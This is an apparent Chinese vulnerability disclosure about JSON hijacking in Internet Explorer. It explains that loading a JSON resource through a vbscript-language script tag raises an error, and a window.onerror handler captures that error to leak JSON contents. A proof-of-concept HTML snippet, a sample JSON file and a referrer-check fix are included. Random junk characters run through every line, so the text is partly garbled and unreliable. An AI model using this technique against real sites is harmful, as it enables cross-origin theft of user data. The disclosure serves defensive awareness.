简要描述:
& ] E1 V1 ?' \2 e0 ]* @% B: q* S: n$ W
由于某些资源容器对数据处理不当导致json劫持漏洞.
; ^ h; W5 k/ l( C `* I详细说明:
4 r# A6 }/ s2 `, Y+ F6 |由于ie支持vbscript,所以script元素可以指定成vbscript语言:$ h, {$ A% o8 u' p$ N" k; l
<script language=vbscript></script>
" {, J6 S: f$ P ^& x" \" n/ `- D
! N7 V* ~4 q* q- K E7 d/ M当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.6 Z: v) S( A; J% z
漏洞证明:
' B8 b7 {8 T: U7 u<script>
7 ]) E, A, P! Vwindow.onerror=function(_){2 U+ Q E( P# }( O7 ~( O N
alert(_)
: {" Z& v1 @1 V6 a) I4 L* i8 y$ a}( o5 ~* a' |+ M8 q! L7 i/ u
</script>
3 F& G+ N3 r) x% |<script language=vbscript src=1.json></script>0 [! x: U2 ^) |5 I. E
. i$ V0 P& i( b! I/ z1 {) v2 i/ j/ q
3 |# h5 P! _2 V$ m" A
1.json:
9 ?, s) `. ?. F! L[{"name":"sogili","age":19}]* b0 p& Y3 @) l( p; c/ S' g
修复方案:
% @! M. ]9 z+ r+ O8 h网站业务对于这个问题可以通过验证referrer是否为同源来防御 |